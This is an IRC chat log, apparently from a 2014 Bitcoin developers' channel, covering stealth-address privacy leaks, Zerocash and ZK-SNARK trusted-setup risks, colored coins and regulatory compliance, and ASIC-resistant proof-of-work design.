01:52 < amiller> hrm it kind of isn't such a great tradeoff because there's a long setup time
01:52 < amiller> i mean, the setup time is the time to fill the disk, plus to sort it
01:52 < amiller> you would want like a btree kind of sort anyway which would be kind of slow
01:52 < amiller> i guess that's where the idea left off
02:00 < amiller> it would be really good to reduce the I/Os by the k factor
02:01 < amiller> the merkle tree based solutions have that problem too, pretty much
02:01 < amiller> well not exactly because you can go straight to the data which can be large than the index
02:32 < gmaxwell> amiller: did you see my similarly structred idea for lamport keys? I've still not seen anything like that either, they're kinda related.
02:32 < amiller> gmaxwell, no
02:35 < gmaxwell> amiller: so, you have a firm mental model for lamport right. And that you can put your public key in a hashtree and use the root.. when you sign you reveal the preimages selected by the message bits and then only the minimum necessary set of tree fragments to show that your preimages came from the right public key
02:35 < gmaxwell> e.g. you can send less than hash_size * 2 hashes because of common branch compression in the pubkey.
02:37 < gmaxwell> So take the same idea and use the same kind of tree csprng to expand a single secret value to all your secret values. Now when signing you can do the same kind of tree compression of the hash preimages! you selectively reveal chunks of the tree-csprng state so that the verifier can recover the preimages you were required to reveal and no others.
02:38 < gmaxwell> this is actually far more powerful for things other than lamport though.
02:38 < gmaxwell> It has powerful applications to making protocols for secure permutations (e.g. voting) use less bandwidth.
12:29 < adam3us> gmaxwell: i mean in principle if u dont know the key, you learn nothing other than you dont have the key whether the resulting point is on the curve or not?
12:29 < gmaxwell> adam3us: go see petertodd's stealth address post in bitcoin-dev
12:29 < adam3us> gmaxwell: yes i read that at the time.
12:30 < gmaxwell> He proposed, in passing, to encrypt the nonce used in the transaction with e.g. H(stealth address). This is bad because if you have a large list of stealth addresses you can test transactions to see if they might be related to one stealth address or another.
12:33 < adam3us> gmaxwell: ok so nonce is the wrong term i guess; he said "payor generates nonce keypair P=eG" less confusing to call that an emphemeral keypair. the only nonce in DSA could arguably be k.
12:39 < petertodd> adam3us: basically something like 1 in 256 arbitrary 33 byte strings are valid ECC pubkeys, so decrypting and checking gives you a lot of statistical info that it shouldn't
12:39 < adam3us> petertodd: i did not find the encrypt with H(addr) so I dont know what you are encrypting yet, but if you are encrypting with something unknown to the attacker i do not see the attack
12:40 < petertodd> adam3us: well the stealth address is known to our attacker in my attack model
12:41 < adam3us> petertodd: doesnot the stealth address S=dP=eQ ie unknowable if u do not know d or e
12:42 < petertodd> adam3us: we're talking about the sender emphemerial pubkey, the one that goes into a OP_RETURN txout, I suggested encrypting that data so that it wasn't obvious if the transaction was or was not a stealth tx
12:42 < petertodd> adam3us: gmaxwell's point is that the encryption leaks info because you can trial decrypt, and if the result is a valid pubkey, you know you have a high probability of having guessed the right stealth addr
12:42 < adam3us> petertodd: ok as far as that goes i why dont you use one of the input addresses as the emphemeral pub key
12:43 < petertodd> adam3us: because that leaks info to the receiver about which txin did the money come from, and also makes assumptions about how you fund the tx
12:43 < adam3us> petertodd: still if its proper encryption with a key unknown to the attacker you can trial decrypt until the heat death of the universe ;) and only explore which are on the curve and not, which has a known probability distribution... and so what?
12:44 < petertodd> adam3us: the thing is in this case the attacker *does* know the key, only the weaker attacker doesn't
12:44 < petertodd> adam3us: the weak attacker is worse off, but the not so weak attacker is much better off - bad tradeoff
12:45 < adam3us> petertodd: how did u arrive at a threat model where the attacker knows your decryption key?
12:45 < petertodd> adam3us: because it's in the stealth address itself
12:52 < adam3us> petertodd: so you are talking about encrypting P the ephemeral pub key, using the hash of the stealth pub key S (presumably a diff hash than the one used to compute the stealth address as that is also public). now S=dQ and Q is the recipients static receive addess. and S=eP, and P=dG d is nly known to the sender. But e is known to the recipient Q=eG.
so the recipient has a catch 22 he doesnt known d so he cant compute S=dQ, and he knows
12:52 < adam3us> petertodd: seems stuck in circular dependency
12:54 < petertodd> adam3us: the point is to hide the transaction from weaker attackers who *don't* know the stealth address, which is a valuable thing. but it's not worth it if it makes it easier for attackers who do know; there's no circular dependency there
12:55 < petertodd> adam3us: read my post again and you'll see what I mean
12:55 < adam3us> petertodd: the original post or one of the 5 followup posts? (i didnt find it yet)
12:55 < petertodd> adam3us: my original
13:01 < adam3us> petertodd: ah ok so u want to encrypt it with H(Q) not H(S). gmaxwell had said "you suggested in your message that the nonce could be encrypted with H(stealth address)" ok so the stealth address is Q, not S, and actually I see you changed to Q' in the write up over previous IRC here. fine. yes gmaxwell is right.
13:02 < adam3us> petertodd: but why do you want to encrypt ephemeral pub key P at all? to obfuscate that ths is a stealth payment? who else makes 0 value payments to invalid addresses?
13:05 < adam3us> petertodd: "the [ephemeral] keypair [P...] is included in the transaction in an additional zero-valued output: RETURN <P>" what is that an ignored, UTXO compactible, 32 byte message?
13:29 < gmaxwell> adam3us: he wanted to obscure that it was a stealth payment maybe share anonymity set with a timestamping thing.
13:30 < gmaxwell> But no joy.
13:30 < adam3us> gmaxwell: ok hence the elligator thread.
13:32 < adam3us> gmaxwell: it a classic steganography requirement. all decryptions must be equally plausible. alternatively he could send P+Q and hash2curve his timestamp hashes :)
14:01 * nsh looks at this twister.net.co thing
14:33 < nsh> libboost-dev is 60Mb....
14:33 < nsh> (with all the attendant repocruft)
14:36 < nsh> wait, another 139Mb for libboost-all-dev
17:40 < gmaxwell> https://soundcloud.com/rdlmitedu/140113_0001-wav Matt Green presents Zerocoin/Zerocash at Real World Crypto 2014
17:45 < Luke-Jr> gmaxwell: is it practical now?
17:46 < petertodd> gmaxwell: they released a paper yet?
17:46 < jron> petertodd, no paper yet afaik.
17:47 < nsh> has anyone looked at how twister is using the blockchain/PoW and to what degree it's sane/scalable?
17:47 < petertodd> nsh: it's aweful, for instance there is a per-tx PoW, yet the difficulty for that PoW is hard-coded
17:47 < nsh> mm
17:48 < nsh> it is viable in principle though?
17:48 < maaku> gmaxwell: anything new presented at that talk?
17:48 < nsh> seems to be very early alpha, so maybe all kinds of silly parametric decisions/hacks
17:48 < petertodd> nsh: no, there's no incentive built into the system other than the ability to spam other users with messages... and no way to guarantee the messages will be shown in the UI
17:48 < nsh> :/
17:49 < gmaxwell> maaku: I haven't listened to it yet, I peppered jron with some questions.
17:49 < maaku> k
17:49 < petertodd> jron: pity
17:49 < jron> Luke-Jr, it sounds like the only thing they add to the blockchain is 288 bytes
17:49 < petertodd> nsh: it should have used an existing name thing like namecoin
17:49 * nsh nods
17:50 < petertodd> jron: small enough it doesn't need to be a separate chain, although my understanding is they're making it one
17:50 < jron> petertodd, correct. they are calling it "zerocash"
17:50 < gmaxwell> jron: Oh, I'm pretty sure its a bit more complex than that. At a minimum it should be their proofs plus one or two additional hash trees.
17:50 < petertodd> jron: and totally separate PoW right?
17:50 < gmaxwell> jron: Did they say anything about recovering space from old completed transactions? (e.g. analogous to pruning in bitcoin)
17:51 < jron> petertodd, there was no mention of their PoW function.
17:51 < gmaxwell> I had a couple ideas for how to achieve pruning in a zerocash like system but they all were kinda ugly and had tradeoffs I didn't like.
17:52 < petertodd> jron: heh, hopefully they'll take my advice from last summer and do a proof-of-sacrifice or bitcoin timestamped+pos for proof-of-publication
17:52 < jron> gmaxwell, there was no talk of pruning that I heard.
17:52 < gmaxwell> jron: :(
17:52 < jron> petertodd, I assume proof of sacrifice is destroying btc?
17:52 < petertodd> jron: yup
17:53 < jron> I was thinking about that on the drive home.
17:54 < petertodd> jron: basically you need to be able to securely order the transactions to solve double-spending, which is easy, and also come to consensus about what chain has the most "users" in a sense. pow is a really simple way to do both, but is vulnerable to attack.
17:54 < nsh> that soundcloud recording is 600% reverberation by weight
17:54 < nsh> :/
17:54 < petertodd> nsh: I hear it was held in a big church :/
17:54 < nsh> shame
17:54 < gmaxwell> jron: can you go compare zerocash with zerocoin for the channel? (I know some things from private conversations that I haven't told people here which were probably disclosed in the talk, but it'll take a couple hours before I can listen)
17:58 < Luke-Jr> anyone have any legal contacts with Google?
17:58 < maaku> Luke-Jr: as in with Google's lawyers?
17:58 < Luke-Jr> maaku: yes, or anyone who can help me get Nest thermostats GPL compliant :p
17:59 < jron> I need to relisten but it sounds like they ripped out a lot of the code from libzerocoin. They also cut the proof size down from about 4KB to 288 bytes and the verification time down milliseconds.
17:59 < maaku> holy cow, $3.2 billion for a thermostat?
17:59 < Luke-Jr> maaku: it's a smartphone inside
18:00 < Luke-Jr> and right now it gives the company complete control over your home temperatrue :/
18:00 < jron> the trade of for the verification time is it takes about 2 minutes to perform a transaction in addition to the confirmation time.
18:01 < petertodd> jron: 2 min on what kind of machine?
18:01 < jron> petertodd, single core current gen
18:01 < petertodd> jron: not bad, is the computation parallelizable?
18:02 < jron> petertodd, he didn't say. I assumed it was but that is a great question.
18:02 < maaku> Luke-Jr: most effective, but asshole method for compliance is to get a blog post calling them out on the front page of HN
18:02 < maaku> it'll be fixed within hours
18:03 < petertodd> jron: if the computation can be outsourced in any way would be really interesting too
18:03 < jron> he also mentioned a large blog that is required to spend coins. the size is about 1.2 GB.
18:03 < maaku> jron: 2 minutes to *verify* a transaction, not sign?
18:03 < jron> large blob*
18:03 < petertodd> jron: is the 1.2GB akin to a private key, or some shared data structure everyone just needs?
18:03 < maaku> ok n/m reading fail
18:03 < jron> maaku, verification is sub second.
15:43 < gmaxwell> adam3us: but then you're demanding that every single fininacal transaction ibm engage in be globally visible. every hardware purchase, every paycheck, every invoice.
15:43 < gmaxwell> "uhh"
15:44 < adam3us> gmaxwell: dont forget about homomorphic encrypted value for commercial confidentiality
15:44 < gmaxwell> And of course they could just say that they're going to be issuing against this seperate account and please pay to it, because they won't ship you your hardware if you don't do as they say. Who's going to argue with that.
15:44 < gmaxwell> just seeing the volume of transactions in total is a big confidentality leak...
15:44 < adam3us> gmaxwell: i am not saying anyone can try to do all that now i am sayig i thnk that is the future for fiancial networks, putting mre and more of it under apriori rule enforcement to reduce systemic risk
15:45 < adam3us> gmaxwell: encryoted value, it has to happen, bitcoin is not suitable for commercial confidentiality (or even private confidentiality - a few people get paid in bitcoin it leaks far too much)
15:46 < gmaxwell> adam3us: okay sure. Every layer of this you add though you move it further away from something which even sounds remotely pratically achievable today. I'm happy to move in that direction, but one of the reasons I think cypherpunk vision failed almost completely in round one (save for keeping strong crypto from being outlawed) is because the bridge building
failed. I'm happy to think one or two steps a head, but I think you're going ...
15:46 < gmaxwell> ... too far for me to care. :) I just want fungible flexible highly trustworthy ecash. :)
15:47 < adam3us> gmaxwell: sure, step 1 fungibility
15:47 < adam3us> step 2 maybe distributed security for share issues
15:48 < adam3us> DBC (colored coins, though not necessarily using coloring nor bitcoin nominal value payments)
15:48 < gmaxwell> (and, as an aside, I'm worried about fungiblity measures in bitcoin being politically difficult if we don't get them in fast... e.g. if we get norms around blacklisting naughty coins and such, then any fungiblity measure will be a tool of evil.)
15:49 < adam3us> mostly explaining why i think it matters to have bearer and distributed enforcement for stocks, often the directoin things take is a side effect of interim decisions
15:50 < adam3us> gmaxwell: yes... i was starting to think maybe i am missing some aspect of committed tx, maybe committed tx plus more efficient homomorphic value, can do something interesting zc ike but without the overhead
15:50 < gmaxwell> well there are ways to do ZC with reduced overhead.
15:50 < adam3us> gmaxwell: ie dont check the inputs match the outputs, check all inputs add to all outputs
15:50 < gmaxwell> but uh you might not like the security tradeoffs. :P
15:50 < adam3us> gmaxwell: ok that'll work too :
15:50 < adam3us> oh
15:51 < adam3us> gmaxwell: i had one more idea too but i didnt crack the crypto yet, to make a blind proof of work
15:52 < adam3us> gmaxwell: then you can prove your tx is confirmed, the depth of the confirmation, that it adds up (encypted value) basicall bitcoin in zero knowledge!
15:52 < amiller> the blind proof of work still has pretty unclear benefit even if you just assume abstractly you have free ZK
15:52 < maaku> the ZC bloat is in the scriptSig though, right?
15:52 < gmaxwell> for example, there is a pairing crypto way to do the accumulators which is much more space efficient. :P There is also a fiat-shamir way where you can use the blockhash to do a cut-and-choose to compress your proof.
15:53 < adam3us> gmaxwell: zc uses fiat shamir transform in their cut-and-choose already right
15:53 < gmaxwell> maaku: not only, you need to have a growing anti-doublespend list.
15:53 < gmaxwell> adam3us: I know, but I'm pointing out that you can use the blockchain to compress it further. :P
15:53 < maaku> o_O !!
15:53 < adam3us> gmaxwell: ok, every bit helps
15:53 * maaku goes to read the paper, finally
15:53 < adam3us> gmaxwell: feel free to write that up sometime on bct
15:54 < gmaxwell> I did. uh, in some random thread.
15:55 < gmaxwell> The point is that you can do an interactive hashtree proof where you interact with the network. E.g. you give the miner a big proof, and the block hash tells it how to subset the proof. Because the block hash requires 2^lots work, creating a false proof is at least as expensive as mining many blocks and throwing them away.
15:55 < adam3us> amiller: point of blind pow is you could then prove in zero knowledge that your transaction is validated
15:56 < adam3us> amiller: its not enough by itself, lots of other detail level issues arise but its an interesting direction towards fungibility motivated anonymity
15:57 < adam3us> amiller: but its kind of moot so far as i cant seem to make an efficiently verifiable blind proof of work
15:57 < gmaxwell> the weird thing about my blockhash stuff is that in the common models of analyizing the security of fiat-shamir it adds nothing, because you normally assume that taking the proof commitment and turning it into random validation queries is O(1).
15:57 < maaku> "and check that S does not appear in any previous transaction" <-- I see.
15:58 < maaku> I somehow missed that before. So space wise this isn't actually an improvement over straight chaum ecash, is it?
15:58 < gmaxwell> maaku: yea, so if you don't want it to suck you have to have lifetime limits on ZC pools.
15:58 < gmaxwell> (so you could 'prune' off the anti-replay lists)
15:59 < gmaxwell> the network could also potentially outsource the anti-replay list storage by storing them in trees and having update proofs for them with the transactions.
15:59 < gmaxwell> which then makes the system more like PT's MMR-coin stuff, conceptually.
15:59 < adam3us> gmaxwell: interesting, seems to be somewhat related to the merkle pow for reduced variance
16:02 < gmaxwell> https://bitcointalk.org/index.php?topic=284194.0 < I mention it as a throwaway comment at the bottom here.
16:03 < gmaxwell> though I wrote it up on a long PM conversation with iddo. (I was suggesting it in the context of improving the scalablity of the SCIP stuff based on the locally checkable code stuff.)
16:08 < gmaxwell> (basically in that post I show how to make cut-and-choose random encrypted shuffles use log(security) bandwidth, and then point out that you can do the block hash thing because I thought I should put the idea out in public in case some shithead comes along and tried patenting it :P )
17:06 < jtimon> gmaxwell adam3us I still fail to see why traceability implies revocability
17:07 < jtimon> even with centralized redemption, I don't see how IBM shares are more revocable than bitcoins
17:08 < jtimon> basic colored coins do not provide support for KYC compliance
17:08 < gmaxwell> jtimon: because IBM can be ordered to ignore shares tracable from some point, and to credit some other shares instead. You can trade these shares still, but without IBMs future support they only have novelty value. :P
17:09 < jtimon> but why would be IBM be ordered to break his contract?
17:09 < maaku> jtimon: legal pressure
17:09 < jtimon> I don't see the example
17:10 < maaku> maybe response to theft, trying to reverse a ponzi scheme, etc.
17:10 < jtimon> so Bob steals from Alice and sells to Carol, who sells to David...why should Z be punished for Bob's crime?
17:12 < jtimon> I'm assuming non-authorized assets where the the issuer doesn't knows the bearers identity
17:12 < Luke-Jr> gmaxwell: how about this argument: if IBM runs its own stock exchange, it needs to make sure only licensed investors buy in; with coloured coins, supposedly there is no way to require IBM to do this
17:13 < jtimon> Luke-Jr freimarkets supports KYC compliance, but it's of course optional
17:14 < Luke-Jr> KYC isn't related to this
17:15 < Luke-Jr> this is "if Joe isn't a licensed investor, he is not allowed to purchase shares"
17:15 < jtimon> well, by authorized assets I mean all those limitations
17:16 < jtimon> a closed list of licensed investors is the same as a closed list of authorized users (previously identified by the issuer)
17:16 < Luke-Jr> anyhow, it's silly to do this with a public blockchain
17:16 < jtimon> the way we do it is actually pretty stupid but very flexible
17:17 < Luke-Jr> as long as people are complying with the restrictions anyway, they should just host their own stock registry
17:17 < jtimon> require an "authorizer" to sign all transactions including that asset (but yes, it's stupid in almost all cases)
17:18 < jtimon> yes, if you're going to sign everything, the only reason not to run your own off-chain ledger is to provide more transparency
17:19 < jtimon> I know a local currency designer that needs this, although I don't think his "100% transpoarent currency" is a good idea
17:20 < maaku> Luke-Jr: I agree it's stupid, but it's something people ask for, to achieve regulatory compliance...
17:20 < Luke-Jr> maaku: using a blockchain instead of hosting it at the company, does not help regulatory compliance
17:20 < Luke-Jr> you can disclose your private "blockchain" if you want transparency
17:21 < maaku> ? no i meant the KYC/authorized accounts
17:21 < jtimon> would bitstamp be issuing in ripple if they didn't had a non-scalable version of this?
17:21 < maaku> doesn't matter if it's on public chain or private server
17:21 < maaku> as to using the public chain for asset issuance, i see very limited uses for that
17:22 < jtimon> the most obvious one are small issuers who can't run their own server and don't want to trust a server
17:22 < jtimon> but shares is also interesting
17:23 < jtimon> are
17:23 < jtimon> even if redeption is centralized, there's zero trust in accounting and exchange
17:24 < maaku> IBM, for example, would probably contract out to another company that handles hosting the gateway exchange and KYC compliance (making sure transactions only involve registered securities professionals, etc.)
18:03 < gmaxwell> jron: sounds like he actually didn't give a lot of technical details.
18:04 < jron> gmaxwell, it was a basic overview.
18:04 < Luke-Jr> maaku: HN?
18:04 < gmaxwell> This is annoying, because I actually can answer all of these questions.
18:04 < michagogo|cloud> Luke-Jr: Hacker News
18:05 < michagogo|cloud> Luke-Jr: So I'm guessing you already saw https://nest.com/legal/compliance/ and it's incomplete?
18:05 < gmaxwell> well, in any case, I don't think I'm giving anything away that I hadn't guessed at before I'd talked to them. They're using a ZK-SNARK based on the GGPR 2012 paper, this is the CRS-assumption pairing crypto knoweldge of exponent assumption for quadratic arithemetic programs stuff that is used in pinocchio and the tinyram papers.
18:06 < jron> petertodd, he descibes the 1.2 GB dataset as a large set of public params required to spend coins.
18:06 < gmaxwell> The proving side of this system is pretty highly paralizable. I don't know the size of the proving key, since it's polylogarithmic in the size of the circuit being proved.
18:07 < Luke-Jr> michagogo|cloud: it's missing build/install stuff
18:07 < gmaxwell> The verification key and proof sizes are just dependant on security, and you can see figures on them in the vntinyram paper: http://eprint.iacr.org/2013/507
18:07 < michagogo|cloud> ah
18:08 < gmaxwell> But presumably they wouldn't use tinyram for this, they don't need turing complete to prove some anonymous transactions. Instead I expect them to prove hashfunctions and equality, and so a custom circut could be a lot smaller.
18:09 < gmaxwell> (a straighforward implementation of SHA256 has 30k AND gates
but most (90%?) of these are in 32 bit adders, and a 32 bit adder in a QAP takes just a couple gates instead of 65 in a boolean circuit)
18:10 < jron> they did mention the use of SHA256 and SNARK to achieve the proof size
18:12 < maaku> jron: did they go into any detail about how the public params were derived?
18:13 < jron> <jron> he did mention two possible options. the first was finding as many willing and "trusted" participants to create it in a semi-distributed fashion.
18:13 < jron> <jron> the second was writing software to do it p2p but he didn't go into specifics on how that could be pulled off.
18:14 < gmaxwell> ^ that was from when I asked in #zerocoin
18:15 < gmaxwell> So yea, the problem with the GGPR ZK-SNARK is that there is a set of asymetric encryption keys and if _anyone_ knows them or finds them, then that party can trivially make false proofs.
18:16 < Alanius> I think I know what I'm reading tomorrow :-)
18:16 < Luke-Jr> gmaxwell: does someone *need* to know the private key?
18:16 < maaku> Luke-Jr: you need the private key to create the public params
18:16 < Luke-Jr> else, have lots of N people pick entropy to produce a public key for which there is no known private <.<
18:16 < maaku> so you need to trust that someone diddn't keep a record
18:16 < gmaxwell> it has to be known temporarily to generate the public keys. At least unless you invoke some multiparty computation unicorn.
18:16 < maaku> or MPC
18:16 < Luke-Jr> so the public key can't be generated without the private key? :<
18:17 < nsh> someone needs to be trusted to forget something...
18:17 < Luke-Jr> Bernanke can do it!
18:17 < gmaxwell> At which point we're starting to recursively nest unicorns, since most efficient MPC stuff being written about works by using ZK-SNARKS to prove the players aren't cheating.
18:17 < nsh> lol
18:17 < gmaxwell> Basically the whole GGPR scheme works by reducing proving the correctness of program execution to proving you know the roots of some polynomials meeting some constraints.
18:18 < gmaxwell> What happens is that you find these polynomials and then encrypt them with the public keys produced in a prior initilization phase, and then also encrypt your roots.. And the cryptosystem has the right kind of homorphism that the encrypted roots are still roots of the encrypted polynomial.
18:18 < petertodd> gmaxwell: pity, although I'll bet you the average person won't blink an eye at the "founders could fuck it all up" problem
18:18 < maaku> gmaxwell: wait, it's a valid question - is there some way you can just use random junk for the public portion, like say the first sequence of PI bits which satisfies whatever constraint is necessary?
18:19 < gmaxwell> maaku: no.
18:19 < maaku> k, fair enough :)
18:19 < gmaxwell> Since you have no freeking clue what points the polynomial is being evaluated at, you can't generate a fake polynomial that will pass the test. but if you have the secret data you know the points and its trivial to generate a fake proof.
18:19 * maaku demonstrates is ignorance of pairing crypto
18:20 < gmaxwell> maaku: basically you can pick random keys, but they won't agree with each other, since you need to both encrypt your roots and the polynomial in such a way as the result can still be tested.
18:20 < jtimon> https://groups.google.com/d/msg/bitcoinx/EntSAsMLFck/X-7h5sgnMNoJ
18:22 < petertodd> jtimon: pragmatic, but computational crypto-coins are admittedly a lot more interesting solution to that problem
18:22 < gmaxwell> in any case, I'd really suggest sitting down and reading the vntinyram paper,
skipping over the mathy parts as you see fit.
18:23 < gmaxwell> Because the scipr-lab.org people have a public maining list, and I have an existance proof now that they respond on it. :)
18:23 < gmaxwell> (linked here: http://www.scipr-lab.org/ )
18:23 < jtimon> petertodd: I don't think I understand you
18:23 < gmaxwell> while they probably don't know anything about zerocash, they do know the backend cryptosystem.
18:24 < jtimon> petertodd: what problem you mean exactly?
18:25 < jtimon> petertodd: and what do you mean by "computatuional crypto-coins"?
18:26 < gmaxwell> Oh I linked the wrong paper earler, the vnTinyRam paper is http://eprint.iacr.org/2013/879 and it has all the benchmark figured (and I strongly believe that the verfier numbers will apply to any zerocash proposal)
18:27 < petertodd> jtimon: basically, people have proposed much more sophisticated scripting languages, to the extent that the txin scriptPubKey could constrain txout scriptPubKey's, meaning that a txout with a scriptPubKey of a specific form would be proof that the txin scriptPubKey also had the correct form all the way back to some genesis txout, thus, colored coins
18:28 < jron> someone posted some of the key points from the zerocash presentation here: http://pastebin.com/Dd60ZaT7
18:28 < gmaxwell> petertodd: Zero knoweldge computational crypto coins are even better for that.
18:29 < petertodd> gmaxwell: of course, after all, you write about coin covenents on trolltalk
18:29 < petertodd> gmaxwell: s/write/wrote/
18:30 < gmaxwell> jron: thanks!
18:30 < petertodd> gmaxwell: directly interpreted consensus systems can be upgraded to ZK systems after the fact
18:31 < gmaxwell> Yea, okay, so they point out there that the ZK based construction allows them to encrypt values to.
18:31 < gmaxwell> s/to/too/.
18:32 < gmaxwell> This is really important because it means that the anonymity set size is all transactions, not just all transactions with plausable values for you.
18:32 < gmaxwell> But it has some crazy consequences.
18:32 < gmaxwell> Like there becomes no way to even roughly gauge the size of the economy anymore.
18:33 < gmaxwell> It also interacts very poorly with the security assumptions... In zerocoin someone who compromised the magical RSA number could drain out an accumulator and steal all the coins in it. Which is bad but:
18:33 < jtimon> petertodd: I'm not sure I understand your claim yet thought, you're just saying that you prefer other colored coins schemes over this one https://bitcointalk.org/index.php?topic=253385.0?
18:34 < gmaxwell> In a system with hidden values under ZK proof a CRS compromise gives unbounded undetectable(*) inflation.
18:34 < Alanius> you could estimate roughly the size of the economy by monitoring the transaction fees
18:34 < petertodd> jtimon: no, I'm saying I prefer schemes that allow for totally generic colored coins, or anything else you might want to do
18:34 < gmaxwell> (*) well, I suppose once you personally end up with more coins in your wallet than should exist you will then believe there has been a cryptosystem compromise.
18:34 < jron> gmaxwell, hah!
18:34 < maaku> Alanius: txn fees have nothing to do with txn values..
18:34 < gmaxwell> Alanius: perhaps! but you couldn't tell if a transaction was for 1 coin or 100000 coins.
18:35 < maaku> petertodd: what does "totally generic" mean?
18:35 < Alanius> sure, but it would be pretty stupid to fee 10 coins for 1 coin's worth of actual transfer
18:35 < Alanius> hence, "roughly" :)
18:35 < maaku> it'd be a lower bound ... but probably a very low lower bound
18:35 < gmaxwell> Alanius: normally in bitcoin like systems the fees are just proportional to the data size of a transaction, since that reflects the networks actual processing cost.
18:36 < maaku> but i think you understand that :)
18:36 < gmaxwell> maaku: you could force fees to be related to value.. I suppose, though that would be an information leak, plus it would be u. You can't have it both ways, I think. :P
18:36 < sipa> Alanius: when fees are free-floating and there's an actual market around, i suppose to some extent
18:36 < petertodd> maaku: if a scriptPubKey can restrict redemption to transactions with txouts with scriptPubKeys of forms that propagate those convenants, then you can create generic limitations on how the coins can be spent
18:37 < gmaxwell> heck you could even force a kind of value information leak from transactions. E.g. force under the zk proof for you to generate a randomly fuzzed version of your txn value which you make public. And then people could gauge the average economy size without any specific transaction giving away its size... but its not clear to me if being able to size up the
15:15 < petertodd> adam3us: ha! though it was a good learning experience re: worse-is-better
15:15 < amiller> i think it's a plausible idea
15:15 < Luke-Jr> maybe whoever-posted-that's problem is that they're only looking at ex-googlers
15:16 < amiller> would be hard to show it works for x86 without really well identifying x86
15:16 < amiller> you could do something where anything other than the given architecture uses slightly more power or something
15:16 < adam3us> petertodd: well i just think timestamping is a cleaner and simpler problem and bitcoin could do with dependencies untangling if its at all possible because the heavy cross design links make it nearly impossible to change anything significant
15:16 < petertodd> adam3us: WTF? the current POW algorithm already makes botnets unprofitable compared to ASICs :(
15:17 * Luke-Jr notes making a x86 POW effectively makes the entire x86 spec part of the bug-for-bug bitcoin protocol
15:17 < petertodd> adam3us: yes, although you have to be careful to make sure your system doesn't need proof-of-publication, or that to the extent it needs it, you have the incentives right so that POP is actually working
15:17 < adam3us> x86 mining: i tried to interest schnieir and kocher and kelsey and gilmore (people who worked on DES EFF cracker from some years back) if they would like to collab/ comment on making ASIC unfriendly design
15:18 < petertodd> Luke-Jr: and x86 POW becomes more and more attractive to ASICS as more features are added to x86, reducing the amount of silicon you are actually exercising...
15:18 < Luke-Jr> why are people obsessed with making this "ASIC unfriendly"?
15:18 < Luke-Jr> ASIC is the ideal
15:18 < petertodd> Luke-Jr: because if you are ASIC frieldly control of bitcoin is centralized in the hands of about 2 to 3 companies
15:18 < adam3us> x86 mining: kocher had some comments which were similar to this x86 concept basically do a lot of dynamic things relying at bit-level on x86 execution so the end result needs to understand that cpu
15:18 < Luke-Jr> petertodd: it's more centralised if it's ASIC unfriendly.
15:19 < petertodd> Luke-Jr: in theory, no, but those 2 to 3 companies are going to be rather unhappy to stop shipping commodity hardware for the sake of srewing over bitcoin
15:20 < petertodd> Luke-Jr: Government has a much harder time telling Samsung "from now on, RAM chips are a controlled good" than "yeah, just no more SHA256d ASICs unless they have the know-your-customer hardware in them"
15:21 < adam3us> this was kocher on something similar (email): "Of the various options for avoiding the "problem" of ASICs outperforming regular CPUs, the obvious option (ala litecoin at least to some degree) is to use a computations that utilize the full resources of a typical PC (e.g., DRAM intensive, use the multiplier a lot, large code image, etc.) This tilts the
equation away from dedicated hardware boards, but still favors people who are willing to ha
15:21 < Luke-Jr> petertodd: in all cases where government is the enemy, government wins by default.
15:22 < adam3us> luke-jr: thats why cryptography is good: its an immovable object they cant bend it to their will anymore than redefine pi to 3 (and they tried that too apparently)
15:22 < petertodd> Luke-Jr: right, so lets just give up... that's not a good position, especially when it looks like ASIC-resistant is viable
15:22 < petertodd> adam3us: that kind of thinking seems to often result in over-optimization for PC design now, rather than what it may be in the future; hard-forks are hard!
15:23 < Luke-Jr> petertodd: it doesn't look that way.
15:23 < Luke-Jr> ASIC-resistent is impossible in theory
15:23 < Luke-Jr> you can *always* specialise anything
15:23 < adam3us> luke-jr: " it's more centralised if it's ASIC unfriendly." that is an equally plausible argument - it just depends on how available ASICs are - i think they suffer from market forces where anyone capable of making them miners them rather than sell (or are incompetent like butterfly)
15:24 < Luke-Jr> adam3us: don't forget that self-mining is inherently competing against yourself
15:24 < petertodd> Luke-Jr: again, ASICs will always be some epsilon better, but we can live with it if the ratio is small - just makes transactions that people want to censor more expensive. 2x or 3x is reasonable, 1000x isn't
15:24 < adam3us> kocher contd: "miners occasionally unearth the right to publish puzzles to other miners (with rewards to those who solve these puzzles, as well as rewards to the puzzle issuer if puzzle solutions are neither too hard nor too easy)."
15:25 < Luke-Jr> selling mining hardware is more economically rational
15:25 < petertodd> Luke-Jr: I pointed out above how FPGAs may already meet that criteria w/ litecoin scrypt, and while assuming FPGAs are available is a weaker anti-censorship assumption, it's not an unreasonable one.
15:26 < adam3us> luke-jr: yes thats true (self-mining compete with self) but I am going to be super-pissed if when my march 2013 ordered miners turn up finally with adifficulty making it hard to recoup $5k spent, that they look burnt in with butterfly "test" keys preinstalled with 6mo of mining on the addresses
15:27 < Luke-Jr> adam3us: I expect the mining landscape to look very different a year from now.
15:27 < petertodd> adam3us: heh, I checked, butterfly hasn't shiped me any hardware that looks like it was tested at all :P
15:28 < adam3us> kocher last: " It'd also be entirely possible to design a new algorithm with extremely ASIC/FPGA-unfriendly elements, such as a gigantic piles of auto-generated code (= and growing faster than FPGAs) that gets changed periodically."
15:29 < adam3us> luke-jr: if he supply problems are smoothed out so anyone can place money and get working efficient 28nm hardware by return of post, I will be very happy as that is a valid (and simpler) solution
15:29 < Luke-Jr> adam3us: one time I pondered a POW that defined the subsequent POW from interpreting its hash a certain way
15:29 < Luke-Jr> adam3us: and the difficulty adjusted between the different POW algos by trying to make them equally rare
15:30 < petertodd> adam3us: fwiw I switched my 65nm outstanding order to 28nm monarchs
15:30 < Luke-Jr> yes, I think 28nm hardware available near cost to ship within a week, is a realistic expectation after difficulty catches up
15:30 < adam3us> luke-jr: the people on bitcoin forum who PM'd me with their 16 AES, 16 SHA3 finalist approach had some idea like the hash to use is derived from hash outputs and things like that
15:31 < adam3us> petertodd: is that butterfly?
15:31 < Luke-Jr> it'd be interesting to try some of these experiments in BFGMiner at some point
15:32 < Luke-Jr> woo, 20 GB of null data deleted XD
15:33 < Luke-Jr> problem is, as soon as anyone implements a new POW, the scammers jump on it
15:36 < adam3us> petertodd: think that is worth doing? I have 130GH ordered (2x 50GH 2x 5GH) and could swap it to 600GH (it approx the same price) but it'll come later its "only" 4x faster / $ approx and maybe difficulty will jump by that in the period?
15:36 < adam3us> petertodd: they have a comically bad record at not shipping within 6mo-year of when they estimate which is punitive in mining terms with diffulty adjustment at super-moore's law rate
15:36 < petertodd> adam3us: my thinking re: mining is long-term, and 28nm is going to make break-even for longer I think
